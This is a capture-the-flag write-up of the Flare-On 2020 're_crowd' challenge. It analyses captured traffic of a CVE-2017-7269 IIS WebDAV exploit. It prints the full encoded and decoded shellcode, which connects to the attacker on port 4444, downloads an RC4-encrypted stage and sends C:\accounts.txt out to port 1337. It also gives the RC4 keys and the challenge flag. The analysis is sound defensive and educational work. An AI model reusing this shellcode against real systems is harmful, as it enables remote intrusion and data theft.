Writeup: FlareOn 2020: 007 - re_crowd

Task description

1. TLDR

recrowd graph

2. Input data

The challenge file is here. Password: flare.

The subject of the task is the re_crowd.pcapng file containing recorded network traffic. The task is to reveal data stolen from the server.

3. Inspection of re_crowd.pcapng file

I verified the file using file tool:

$ file re_crowd.pcapng
re_crowd.pcapng: pcapng capture file - version 1.0

The file was successfully loaded by Wireshark:

Wireshark loaded

4. Communication analysis

Two machines take part in communication:

At the beginning of communication, a query was made for it-dept.reynholm-industries.com:

1. 192.168.68.21 -> 192.168.0.1: DNS: whois it-dept.reynholm-industries.com ?
2. 192.168.68.21 -> 192.168.68.1: DNS: whois it-dept.reynholm-industries.com ?
3. 192.168.68.1 -> 192.168.68.21: DNS: it-dept.reynholm-industries.com: type A, class IN, addr 192.168.68.1

Then, host 192.168.68.21 sent the request ‘GET /’ to the it-dept.reynholm-industries.com host, and as a result it downloaded the page content.

Webpage get

I recovered the data sent by the server from the network traffic and reconstructed the website.

An analysis of the website’s content revealed that one Reynholm Industries employee had saved sensitive data in the file C: \ accounts.txt, which was located on the server.

Webpage accounts

5. Exploitation

Later in the pcap file, I noticed a large number of PROPFIND queries sent to the server

PROPFIND

I noticed that this is probably a recording of an attempt to exploit the CVE-2017-7269 vulnerability

From package 284 to package 302, we can witness a successful exploitation attempt. A cursory analysis of these packets shows that after a series of PROPFIND queries, the server [.1] sent a [SYN] packet to the machine [.21] and established communication. Then you can see two data transmissions that are distinguished by their size (packets [PSH, ACK]).

Exploitation

6. Exploit analysis

The shellcode was sent in the content of the PROPFIND queries:

VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABA
BABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLL
BkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8
za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnx
BkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbH
LsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0
npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN
9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP
0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIom
r5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQ
yK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlT
LGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA>

A comparison of the similarity of the VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA prefix of the captured shellcode and the exploits related to the CVE-2017-7269 vulnerability allowed us to determine that this exploit from the exploit-db database or its modification was used.

The shellcode was encoded with the Alpha2-encoder tool which allows you to encode a shellcode into printed characters. The use of this tool is indicated by the usage of the VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA prefix, which is one of the possible differentiators determining the coding method. The analysis of the project’s sources allowed to indicate the method and register on the basis of which the shellcode was encoded:

mixedcase_unicode_decoders[] = {
  { "nops",     "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
  { "eax",      "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "ecx",      "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
  { "edx",      "RRYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "ebx",      "SSYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "esp",      "TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "ebp",      "UUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "esi",      "VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "edi",      "WWYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "[esp]",    "YAIAIAIAIAIAIAIAIAIAIAIAIAIAIA44" mixedcase_unicode_decoder_body },
  { "[esp+4]",  "YUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { NULL, NULL }
}

Determining the registry (esi) allowed to extract the full shellcode prefix:

VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABA
BABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB

and the core part of the encoded shellcode:

YlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZm
jaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVL
faXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nD
nDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1Ipyp
Kyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLri
XfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9o
HUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0V
b3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5
LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn
90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA>

So I started to write the Alpha2-decoder. After decoding …

echo 'YlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMP
GQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16v
nQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXP
dIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0
M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBip
jqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyI
fhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pP
BJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4
RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObh
MDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA>' |
 python3 ./alpha2decoder.py -u

the shellcode looked like this:

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d
01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffac
c1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424
245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b890010000
29c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a84415680200115c89
e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd56a006a0456576802d9c85fff
d58b3681f64b584f528d0e6a406800100000516a006858a453e5ffd58d98000100005356506a0056
53576802d9c85fffd501c329c675ee5b595d555789dfe8100000006b696c6c657276756c74757265
3132335e31c0aafec075fb81ef0001000031db021c0789c280e20f021c168a140786141f881407fe
c075e831dbfec0021c078a140786141f88140702141f8a1417305500454975e55fc351

To facilitate further shellcode analysis I used the sc2exe utility and generated the executable to run shellcode.

Analysis of network traffic and shellcode revealed that shellcode connects to the attacker on port 4444 / tcp and downloads the next stage. With pcap at my disposal, I extracted the payload downloaded to the server from port 4444 / tcp of the attacking machine.

But what exactly does shellcode do with the downloaded payload?

Further analysis of the shellcode revealed that the downloaded payload is decrypted using the RC4 algorithm, and the key to set the generator state is “killervulture123”.

rc4

After all, payload is actually another stage after shellcode execution.

Using CyberChef I decrypted the payload sent by the attacker:

Decrypted payload

Enriched with payload shellcode reads the C:\accounts.txt file and encrypts its content again using the RC4 algorithm and the “intrepidmango” key. Eventually, the ciphertext is sent back to port 1337 of the attacking machine.

7. Reading the flag

So it is enough to decrypt the payload sent to the attacker on port 1337, which contains data from the file C:\accounts.txt.

43665783a5238977beac1b1f878f58933f24cf2cd39aa8d111c4bca67fcd38dbb33c034babf560c5
60d20d1d1888415b4f06176c9e0b01739d836018fa8bfff84d78b2a4246faebd92d1eccc2d7c8bbf
d08cbde245ef15b288bca459be20acf957df10babcd911934119009c0225efc44a26fd25ca9b8519
644ec5849fa100182c6830dc704cfe83f1c7002b497a830905776e0a088d56e4387e880f2c41e433
66c9bc06aa2aa1962d94c008161ea4f2811a83f77cb57d6313004196ca6980ae49e95d0f7d8943d4
891a01b46161

Flag plaintext

So the flag you are looking for is:

h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com